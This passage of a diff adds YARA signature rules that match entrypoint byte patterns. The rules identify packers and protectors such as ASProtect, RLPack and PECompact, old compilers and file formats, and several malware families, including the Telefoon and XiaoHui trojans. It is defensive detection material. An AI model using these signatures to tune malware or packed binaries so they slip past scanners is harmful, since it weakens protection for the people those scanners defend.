+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 9C}
+		$1 = {E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_GRUNT4Family_
+{
+	meta:
+		description = "Vx: GRUNT.4.Family"
+	strings:
+		$0 = {E8 1C 00 8D 9E 41 01 40 3E 8B 96 14 03 B9 EA 00 87 DB F7 D0 31 17 83 C3 02 E2 F7 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v098_
+{
+	meta:
+		description = "PECompact v0.98"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 ?? 87 DD 8B 85 5C 85}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CDCops_II__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [CD-Cops II] --> Anorganix"
+	strings:
+		$0 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Banners_font_file_
+{
+	meta:
+		description = "Banner's font file"
+	strings:
+		$0 = {AB CD 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FakeNinja_v28__Spirit_
+{
+	meta:
+		description = "FakeNinja v2.8 -> Spirit"
+	strings:
+		$0 = {BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40}
+		$1 = {BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FreeHand_Graphics_format_
+{
+	meta:
+		description = "FreeHand Graphics format"
+	strings:
+		$0 = {41 47 44 32}
+	condition:
+		$0 at entrypoint
+}
+rule _Img_Software_Set_graphics_file_
+{
+	meta:
+		description = "Img Software Set graphics file"
+	strings:
+		$0 = {53 43 4D 49 20 20 20 31 41 54}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_TrojanTelefoon_
+{
+	meta:
+		description = "Vx: Trojan.Telefoon"
+	strings:
+		$0 = {60 1E E8 3B 01 BF CC 01 2E 03 3E CA 01 2E C7 05}
+	condition:
+		$0 at entrypoint
+}
+rule _Zortech_C_v200_1988_1989_
+{
+	meta:
+		description = "Zortech C v2.00 1988, 1989"
+	strings:
+		$0 = {FA B8 ?? ?? 8E D8 8C ?? ?? ?? 26 8B ?? ?? ?? 89 1E ?? ?? 8B D8 2B 1E ?? ?? 89 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_212withouth_Poly__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 2.12(withouth Poly) -> Solodovnikov Alexey"
+	strings:
+		$0 = {E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Protect_Shareware_11__eCompserv_CMS_
+{
+	meta:
+		description = "Protect Shareware 1.1 -> eCompserv CMS"
+	strings:
+		$0 = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _nSPack_2x3x_NET__North_StarLiu_Xing_Ping_
+{
+	meta:
+		description = "nSPack 2.x/3.x .NET -> North Star/Liu Xing Ping"
+	strings:
+		$0 = {FF 25 A4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_V30X__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.0X -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA}
+	condition:
+		$0 at entrypoint
+}
+rule _PEZip_v10_by_BaGIE_
+{
+	meta:
+		description = "PEZip v1.0 by BaGIE"
+	strings:
+		$0 = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51}
+		$1 = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51 0F B6 C9 66 83 F6 00 3D CB 60 47 92 50 40 58 FC E2 EE 59 F8 7C 08 53 74 04 78 02 84 C9 5B 66 0B ED F8 F5 BA 9F FA FF FF 52 57 77 04 78 02 84 E4 5F 5A 50 80 EF 00 58 50 81 E0 FF FF FF FF 58 3C EF FC 7A 05 3D DF DA AC D1 05 00 00 00 00 73 05 71 03 7E 01 90 EB 02 EB 05 E8 F9 FF FF FF 83 C0 00 7B 06 53 66 BB 74 EF 5B F8 8B 3C 24 83 C4 04 51 0F B6 C9 66 C1 C7 30 0B D2 53 66 83 FD F6 5B 55 6A 97 83 C4 04 5D E2 E8 59 53 55 51 66 83 E9 00 59 5D 5B F8 01 FA 22 C9 7A 02 8D 3F 79 08 71 06 52 66 A9 6E E3 5A 51 0F B6}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Vx_Number_One_
+{
+	meta:
+		description = "Vx: Number One"
+	strings:
+		$0 = {F9 07 3C 53 6D 69 6C 65 3E E8}
+		$1 = {F9 07 3C 53 6D 69 6C 65 3E E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HPACK_Archive_
+{
+	meta:
+		description = "HPACK Archive"
+	strings:
+		$0 = {48 50 41 4B}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Pascal_v40_Unit_
+{
+	meta:
+		description = "Turbo Pascal v4.0 Unit"
+	strings:
+		$0 = {54 50 55 30 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_FullEdition_V120_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack FullEdition V1.20 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 47 65}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 10 00 00 08 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _MS_RunTime_Library_1990_07_
+{
+	meta:
+		description = "MS Run-Time Library 1990 (07)"
+	strings:
+		$0 = {2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F 8B 1E ?? ?? 0B DB 74 ?? 8C D1 8B D4 FA 8E D3 BC ?? ?? FB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0971__v0976_
+{
+	meta:
+		description = "PECompact v0.971 - v0.976"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Danish_tiny_
+{
+	meta:
+		description = "Vx: Danish tiny"
+	strings:
+		$0 = {33 C9 B4 4E CD 21 73 02 FF ?? BA ?? 00 B8 ?? 3D CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V010V011__Dwing_
+{
+	meta:
+		description = "Upack V0.10-V0.11 -> Dwing"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5}
+		$1 = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5}
+		$2 = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _CodeCrypt_v015b_
+{
+	meta:
+		description = "CodeCrypt v0.15b"
+	strings:
+		$0 = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34}
+		$1 = {E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ocBat2Exe_10__OC_
+{
+	meta:
+		description = "ocBat2Exe 1.0 -> OC"
+	strings:
+		$0 = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 58 3C 40 00 E8 6C FA FF FF 33 C0 55 68 8A 3F 40 00 64 FF 30 64 89 20 6A 00 6A 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 81 E9 FF FF 8B 45 EC E8 41 F6 FF FF 50 E8 F3 FA FF FF 8B F8 83 FF FF 0F 84 83 02 00 00 6A 02 6A 00 6A EE 57 E8 FC FA FF FF 6A 00 68 60 99 4F 00 6A 12 68 18 57 40 00 57 E8 E0 FA FF FF 83 3D 60 99 4F 00 12 0F 85 56 02 00 00 8D 45 E4 50 8D 45 E0 BA 18 57 40 00 B9 40 42 0F 00 E8 61 F4 FF FF 8B 45 E0 B9 12 00 00 00 BA 01 00 00 00 E8 3B F6 FF FF 8B 45 E4 8D 55 E8 E8 04 FB ?? ?? ?? ?? E8 B8 58 99 4F 00 E8 67 F3 FF FF 33 C0 A3 60 99 4F 00 8D 45 DC 50 B9 05 00 00 00 BA 01 00 00 00 A1 58 99 4F 00 E8 04 F6 FF FF 8B 45 DC BA A4 3F 40 00 E8 E3 F4 FF FF}
+		$1 = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 58 3C 40 00 E8 6C FA FF FF 33 C0 55 68 8A 3F 40 00 64 FF 30 64 89 20 6A 00 6A 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 81 E9 FF FF 8B 45 EC E8 41 F6 FF FF 50 E8 F3 FA FF FF 8B F8 83 FF}
+		$2 = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 58 3C 40 00 E8 6C FA FF FF 33 C0 55 68 8A 3F 40 00 64 FF 30 64 89 20 6A 00 6A 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 81 E9 FF FF 8B 45 EC E8 41 F6 FF FF 50 E8 F3 FA FF FF 8B F8 83 FF FF 0F 84 83 02 00 00 6A 02 6A 00 6A EE 57 E8 FC FA FF FF 6A 00 68 60 99 4F 00 6A 12 68 18 57 40 00 57 E8 E0 FA FF FF 83 3D 60 99 4F 00 12 0F 85 56 02 00 00 8D 45 E4 50 8D 45 E0 BA 18 57 40 00 B9 40 42 0F 00 E8 61 F4 FF FF 8B 45 E0 B9 12 00 00 00 BA 01 00 00 00 E8 3B F6 FF FF 8B 45 E4 8D 55 E8 E8 04 FB ?? ?? ?? ?? E8 B8 58 99 4F 00 E8 67 F3 FF FF 33 C0 A3 60 99 4F 00 8D 45 DC 50 B9 05 00 00 00 BA 01 00 00 00 A1 58 99 4F 00 E8 04 F6 FF FF 8B 45 DC BA A4 3F 40 00 E8 E3 F4 FF FF}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _Thinstall_25___
+{
+	meta:
+		description = "Thinstall 2.5 -> ???"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A7 1A 00 00 B9 6C 1A 00 00 BA 20 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD EC 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _CorelDraw_8_CDR_Graphics_format_
+{
+	meta:
+		description = "CorelDraw 8 CDR Graphics format"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 43 44 52 38}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V120_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.20 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 9C 0C 00 00 EB 0C 8B 85 98 0C 00 00 89 85 9C 0C 00 00 8D B5 C4 0C 00 00 8D 9D 82 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 2D 0C 00 00 89 85 94 0C 00 00 E8 59 01 00 00 EB 20 60 8B 85 9C 0C 00 00 FF B5 94 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD A8 0C 00 00 00 74 0E 83 BD AC 0C 00 00 00 74 05 E8 F2 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 2D 0C 00 00 89 85 C0 0C 00 00 5B 60 FF B5 94 0C 00 00 56 FF B5 C0 0C 00 00 FF D3 61 8B B5 C0 0C 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 9C 0C 00 00 83 C0 04 89 85 BC 0C 00 00 EB 72 56 FF 95 25 0C 00 00 0B C0 75 05 E8 E6 02 00 00 85 C0 0F 84 AB 00 00 00 89 85 B8 0C 00 00 8B C6 EB 2E 8B 85 BC 0C 00 00 8B 00 50 FF B5 B8 0C 00 00 E8 2E 02 00 00 85 C0 0F 84 85 00 00 00 89 07 83 85 BC 0C 00 00 04 83 C7 04 8B 85 BC 0C 00 00 83 38 00 75 CD EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD 9C 0C 00 00 83 C0 04 89 85 BC 0C 00 00 80 3E 01 75 89 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 C0 0C 00 00 FF 95 31 0C 00 00 68 00 80 00 00 6A 00 FF B5 C0 0C 00 00 FF 95 31 0C 00 00 68 00 80 00 00 6A 00 FF B5 94 0C 00 00 FF 95 31 0C 00 00 E8 61 00 00 00 E8 5C 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_V097_LZRW__JoKo_
+{
+	meta:
+		description = "XPack V0.97 (LZRW) -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? 00 9C 60 E8 4D 02 00 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 44 ?? ?? 00 34 ?? ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FixupPak_v120_
+{
+	meta:
+		description = "FixupPak v1.20"
+	strings:
+		$0 = {55 8D ?? ?? ?? 33 DB 64 87 03 E8 ?? ?? ?? ?? 5B 8D}
+		$1 = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8 AC 0F B6 C0 03 D8 29 13 E2 FA EB BC 8D 85 ?? ?? 00 00 5D FF E0 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V112V114_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.12-V1.14 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF EB 0F FF ?? ?? ?? FF ?? ?? ?? D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF EB 0F FF ?? ?? ?? FF ?? ?? ?? D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Pi_Cryptor_10__by_Scofield_
+{
+	meta:
+		description = "Pi Cryptor 1.0 - by Scofield"
+	strings:
+		$0 = {89 55 F8 BB 01 00 00 00 8A 04 1F 24 0F 8B 55 FC 8A 14 32 80 E2 0F 32 C2 8A 14 1F 80 E2 F0 02 D0 88 14 1F 46 8D 45 F4 8B 55 FC E8 ?? ?? ?? ?? 8B 45 F4 E8 ?? ?? ?? ?? 3B F0 7E 05 BE 01 00 00 00 43 FF 4D F8 75 C2 ?? ?? ?? ?? 5A 59 59 64 89 10 68}
+		$1 = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0}
+		$2 = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0 5A 59 59 64 89 10 68 3D 1F 06 00 8D 45 EC E8 C3 F6 FF FF C3}
+		$3 = {89 55 F8 BB 01 00 00 00 8A 04 1F 24 0F 8B 55 FC 8A 14 32 80 E2 0F 32 C2 8A 14 1F 80 E2 F0 02 D0 88 14 1F 46 8D 45 F4 8B 55 FC E8 ?? ?? ?? ?? 8B 45 F4 E8 ?? ?? ?? ?? 3B F0 7E 05 BE 01 00 00 00 43 FF 4D F8 75 C2 ?? ?? ?? ?? 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 F4 E8 ?? ?? ?? ?? C3 E9}
+		$4 = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint or $3 or $4 at entrypoint
+}
+rule _kkrunchy_V02X__Ryd_
+{
+	meta:
+		description = "kkrunchy V0.2X -> Ryd"
+	strings:
+		$0 = {BD ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? ?? 57 BE ?? ?? ?? ?? 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6}
+		$1 = {BD ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? ?? 57 BE ?? ?? ?? ?? 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_C_20_
+{
+	meta:
+		description = "Microsoft Visual C 2.0"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68}
+		$1 = {53 56 57 BB ?? ?? ?? ?? 8B ?? ?? ?? 55 3B FB 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XWD_graphics_format_
+{
+	meta:
+		description = "XWD graphics format"
+	strings:
+		$0 = {00 00 00 71 00 00 00 07 00 00 00 02 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WARNING__TROJAN__XiaoHui_
+{
+	meta:
+		description = "WARNING -> TROJAN -> XiaoHui"
+	strings:
+		$0 = {60 9C E8 00 00 00 00 5D B8 ?? 85 40 00 2D ?? 85 40 00}
+		$1 = {60 9C E8 00 00 00 00 5D B8 ?? 85 40 00 2D ?? 85 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_0b__01__CyberBob_
+{
+	meta:
+		description = "PESpin 0.b - 0.1 -> CyberBob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_p_ECLiPSE_layer_
+{
+	meta:
+		description = "UPX + ECLiPSE layer"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v123_RC4_build_0807_exe__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect v1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+		$1 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _COMPACK_51_
+{
+	meta:
+		description = "COMPACK 5.1"
+	strings:
